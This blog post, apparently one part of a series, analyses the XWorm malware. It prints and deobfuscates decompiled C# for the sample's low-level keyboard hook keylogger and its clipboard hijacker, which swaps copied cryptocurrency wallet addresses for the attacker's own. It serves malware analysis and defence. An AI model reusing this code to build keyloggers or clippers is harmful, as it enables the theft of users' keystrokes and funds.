010 - Decoding XWorm: Keylogger and Cryptocurrency Capture
Este artículo también está disponible en español
- Introduction
- Initial Exploration and Anti-Analysis Techniques
- Defense Evasion and Persistence
- Lateral Movement
- Keylogger and Cryptocurrency Theft
- Telegram Communication and Variant Retrieval
- Coming soon: Command and Control
If you want to be notified when new posts in this series are published, don’t forget to subscribe to the blog!
1. Introduction
In the previous article, we saw how XWorm uses removable devices to infect new systems. In this article, we begin analyzing some of its malicious capabilities, such as cryptocurrency capture and keylogging.
2. Keylogger
After copying itself to any USB device connected to the system, the malware creates two threads: one invoking the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz, and another calling the function ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.
010-newthreads.png
2.1 Keylogger: Configuration
We begin by analyzing the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz; since the variable and class names are obfuscated, the analysis appears to be challenging:
private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
{
nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z();
}
...
public class nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj
{
public static void mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z()
{
nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.gwErjDsnC1yo = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.jtmLNbYtCsof);
Application.Run();
}
private static IntPtr DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.LowLevelKeyboardProc yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0)
{
IntPtr intPtr;
using (Process currentProcess = Process.GetCurrentProcess())
{
intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.8iakvQZQ3uCL, yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.n0nrWLA4QQMJ(currentProcess.ProcessName), 0U);
}
return intPtr;
}
}
To make the analysis easier, we can replace the obfuscated names with the object types they refer to:
private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
{
class1.functionToAnalyze();
}
...
public class class1
{
public static void functionToAnalyze()
{
class1.vIntPtr = class1.fIntPtr(class1.pLLKP);
Application.Run();
}
private static IntPtr fIntPtr(class1.LowLevelKeyboardProc pLLKP)
{
IntPtr intPtr;
using (Process currentProcess = Process.GetCurrentProcess())
{
intPtr = class1.fSetWindowsHookEx(class1.8iakvQZQ3uCL, pLLKP, class1.fGetModuleHandle(currentProcess.ProcessName), 0U);
}
return intPtr;
}
}
The functions GetModuleHandle and SetWindowsHookEx are imported from kernel32.dll
and user32.dll
respectively:
[DllImport("kernel32.dll", CharSet = CharSet.Auto, EntryPoint = "GetModuleHandle", SetLastError = true)]
private static extern IntPtr n0nrWLA4QQMJ(string 2gOtdzHXuJup);
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]
private static extern IntPtr xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(int eaumUTNAkviChy2tqEDeM0SShTHsaeZlS7WQIrR7EyR8lZM20OAXvM1VFzYcRgJy5DScJX, class1.LowLevelKeyboardProc 7NjY5GRTVvwQvA6ZXa9y8nYzHZ4z7ajSdL6MUzh9kPwlM2eiTp3pk12WuNdPItI73IVkIz, IntPtr lLnF5cjxmOrjJ2FCk3G0pDgporhBDC0ER5EcU6BwjbOJTbGBD3o1vFBhGSs1UxqhgTWAhz, uint 5cfZ6xNJMxk4FBvpDa393dukNrMKnk6yiXAYCXSkorYfC1BbZVhyo4wVmPFPShBjROxIt3);
With that information, we can fill in the value of the variable 8iakvQZQ3uCL and simplify the functions to better understand the code:
public static void functionToAnalyze()
{
class1.vIntPtr = class1.fIntPtr(class1.pLLKP);
Application.Run();
}
private static IntPtr fIntPtr(class1.LowLevelKeyboardProc pLLKP)
{
IntPtr intPtr;
using (Process currentProcess = Process.GetCurrentProcess())
{
intPtr = SetWindowsHookEx(13, pLLKP, GetModuleHandle(currentProcess.ProcessName), 0);
}
return intPtr;
}
The SetWindowsHookEx function takes the following parameters:
- idHook: The type of hook to be set. 13 corresponds to “WH_KEYBOARD_LL” and is used to monitor keyboard events.
- lpfn: A pointer to the procedure to execute (“pLLKP” in the previous code).
- hmod: A handle to the DLL that contains the procedure. XWorm sets it to its own process.
- dwThreadId: The thread to associate the hook with. 0 means “associate with all threads.”
To summarize, the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz does the following:
- It calls a function that takes a “callback” procedure as a parameter, which will be executed when a certain condition is met.
- The function invoked in step 1 uses the SetWindowsHookEx function, imported from
USER32.DLL
, to set up a hook that monitors keyboard events and invokes the “callback” procedure when an event occurs. - The “callback” procedure is of type LowLevelKeyboardProc, and is invoked every time a keyboard event is registered.
In other words, XWorm creates a new thread that constantly monitors any keyboard events and calls a function when activity is detected.
2.2 Keylogger: execution
Now, let’s analyze the invoked procedure, step by step:
private static IntPtr rHzPCfhAysljAD7Z8nXRLld8JvZxRY7URgDHWWn5v53nbYoJ9VMmtNFi8wUKBindqhIXYI(int JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL, IntPtr RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l, IntPtr uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX)
{
if (JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL >= 0 && RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l == (IntPtr)256)
{
object obj = Marshal.ReadInt32(uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX);
object obj2 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(20) & 65535) != 0;
object obj3 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(160) & 32768) != 0 || ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(161) & 32768) != 0;
object obj4 = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.w7RxULSKw1Nl9nqQAu7jggFp1ssG5Ke8X1zOrxdHQj2xMKsLF0sUryONm13ZONJBo8grrI(Conversions.ToUInteger(obj));
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetKeyState", ExactSpelling = true)]
private static extern short E7DLvYqDXgLo(int zybtWxM2jgdH);
If we replace the obfuscated functions and variables with what the LowLevelKeyboardProc documentation tells us, we get the following:
private static IntPtr pLLKP(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)256)
{
object obj = Marshal.ReadInt32(lParam);
object obj2 = ((int)GetKeyState(20) & 65535) != 0;
object obj3 = ((int)GetKeyState(160) & 32768) != 0 || ((int)GetKeyState(161) & 32768) != 0;
...
According to the documentation, the parameters that the function takes are the following:
- nCode: A code that the procedure uses to process the message; 0 means there is keyboard event information.
- wParam: The message identifier; 256 corresponds to 0x100, which corresponds to WM_KEYDOWN. This event is triggered when a key is pressed.
- lParam: A pointer to the KBDLLHOOKSTRUCT structure.
The code uses the GetKeyState function to determine if the Caps Lock key is being pressed and assigns the result to the variable obj2. Similarly, it checks if either the right or left Shift keys are pressed and assigns that result to the variable obj3. Information about which number corresponds to each key can be found here.
The next variable assigned is obj4, which uses the GetKeyboardState, MapVirtualKey, GetKeyboardLayout, GetWindowThreadProcessId, GetForegroundWindow, and ToUnicodeEX functions to obtain the Unicode character of the pressed key.
If we continue analyzing the code, we see that it converts the characters to uppercase/lowercase depending on whether the Caps Lock or Shift keys are pressed. Additionally, it checks if the F1-F24 keys are pressed and logs that action within square brackets:
if (Conversions.ToBoolean((Conversions.ToBoolean(obj2) || Conversions.ToBoolean(obj3)) ? true : false))
{
obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToUpper", new object[0], null, null, null));
}
else
{
obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToLower", new object[0], null, null, null));
}
if (Conversions.ToInteger(obj) >= 112 && Conversions.ToInteger(obj) <= 135)
{
obj4 = "[" + Conversions.ToString(Conversions.ToInteger(obj)) + "]";
}
The code also checks if non-alphanumeric keys are being pressed and logs them within square brackets:
...
string text = ((Keys)Conversions.ToInteger(obj)).ToString();
if (Operators.CompareString(text, "Space", false) == 0)
{
obj4 = "[SPACE]";
}
else if (Operators.CompareString(text, "Return", false) == 0)
{
obj4 = "[ENTER]";
}
else if (Operators.CompareString(text, "Escape", false) == 0)
{
obj4 = "[ESC]";
}
else if (Operators.CompareString(text, "LControlKey", false) == 0)
{
obj4 = "[CTRL]";
}
...
Finally, the code logs the pressed key to the file "C:\\temp\\Log.tmp"
, specifying the name of the process where the victim is typing and the title of the window:
...
using (StreamWriter streamWriter = new StreamWriter("C:\\temp\\Log.tmp", true))
{
if (object.Equals(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()))
{
streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
}
else
{
streamWriter.WriteLine(Environment.NewLine);
streamWriter.WriteLine("### " + nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i() + " ###");
streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
}
}
...
private static string HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()
{
uint num = 0U;
string text;
try
{
IntPtr intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.bbQy92NFYzaX();
nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xdeCCXgZdixj(intPtr, out num);
object processById = Process.GetProcessById(checked((int)num));
object obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "MainWindowTitle", new object[0], null, null, null));
if (string.IsNullOrWhiteSpace(Conversions.ToString(obj)))
{
obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "ProcessName", new object[0], null, null, null));
}
nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks = Conversions.ToString(obj);
text = Conversions.ToString(obj);
}
catch (Exception ex)
{
text = "???";
}
return text;
}
3. Cryptocurrency Capture
After starting the thread that captures keyboard events (keylogger), XWorm starts a new thread by invoking the function ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.
Upon opening the function, we see that it initializes a form:
public static void CaGUhxuUwEJ0()
{
Application.Run(new 5WfMxvD8ofo6.NotificationForm());
}
...
public NotificationForm()
{
Iz7vHvHrDV0G.NativeMethods.SetParent(this.Handle, Iz7vHvHrDV0G.NativeMethods.intpreclp);
Iz7vHvHrDV0G.NativeMethods.AddClipboardFormatListener(this.Handle);
}
If we search online, we can find a post from 15 years ago on StackOverflow where a user details how to intercept clipboard events:
private class NotificationForm : Form
{
public NotificationForm()
{
NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);
}
protected override void WndProc(ref Message m)
{
if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
{
OnClipboardUpdate(null);
}
base.WndProc(ref m);
}
} //https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c
In the user’s response, we see that they override the WndProc function to determine what to do when an event is intercepted.
Analyzing XWorm’s code, we see that it follows the same pattern:
protected override void WndProc(ref Message m)
{
if (m.Msg == 797)
{
...
if (this.RegexResult(Iz7vHvHrDV0G.kHHDOMdskKUn) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM))
{
object obj = Iz7vHvHrDV0G.kHHDOMdskKUn.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM);
c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj));
qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("BTC Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj)));
}
if (this.RegexResult(Iz7vHvHrDV0G.eEjYtL8MRBr2) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT))
{
object obj2 = Iz7vHvHrDV0G.eEjYtL8MRBr2.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT);
c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj2));
qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("ETH Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj2)));
}
if (this.RegexResult(Iz7vHvHrDV0G.saRbJz6ZQ0Rw) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8))
{
object obj3 = Iz7vHvHrDV0G.saRbJz6ZQ0Rw.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8);
c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj3));
qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("TRC20 Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj3)));
}
}
base.WndProc(ref m);
}
The message type 797 is 0x031D in hexadecimal, which corresponds to WM_CLIPBOARDUPDATE.
The function RegexResult looks for patterns in the clipboard content that are associated with cryptocurrency wallets:
private bool RegexResult(Regex pattern)
{
return pattern.Match(5WfMxvD8ofo6.NotificationForm.currentClipboard).Success;
}
...
public static readonly Regex kHHDOMdskKUn = new Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\\b");
public static readonly Regex eEjYtL8MRBr2 = new Regex("\\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\\b");
public static readonly Regex saRbJz6ZQ0Rw = new Regex("T[A-Za-z1-9]{33}");
The first pattern corresponds to Bitcoin wallets, the second to Ethereum, and the third to TRON.
XWorm analyzes if the clipboard content is associated with one of these wallets and if it does not match certain specific values. If both conditions are met, it replaces the clipboard content with values stored encrypted in the malware’s code; these values were decrypted in memory when the malware was started and correspond to Bitcoin, Ethereum, and TRON wallets, respectively.
In summary, XWorm does the following:
- Intercepts the clipboard content (when someone clicks “copy” or presses Control+C).
- Checks if the clipboard content matches the pattern of a cryptocurrency wallet.
- If so, it modifies the clipboard content to contain the attacker’s wallet.
Since cryptocurrency wallets do not follow intuitive names and are composed of alphanumeric values, people usually copy and paste these values from their cryptocurrency manager/seller websites/chats; the attacker takes advantage of this behavior to replace the user’s wallet without them noticing, thus getting the funds transferred to them.
Next Steps
XWorm continues to prove itself as a versatile malware with multiple capabilities; from infection through USBs, cryptocurrency theft, to keylogging, XWorm highlights the various opportunities an attacker seeks to obtain something from their victim.
In the next article, we will look at how XWorm notifies that it has infected a new victim, as well as how it updates itself.
Do you have any comments or suggestions?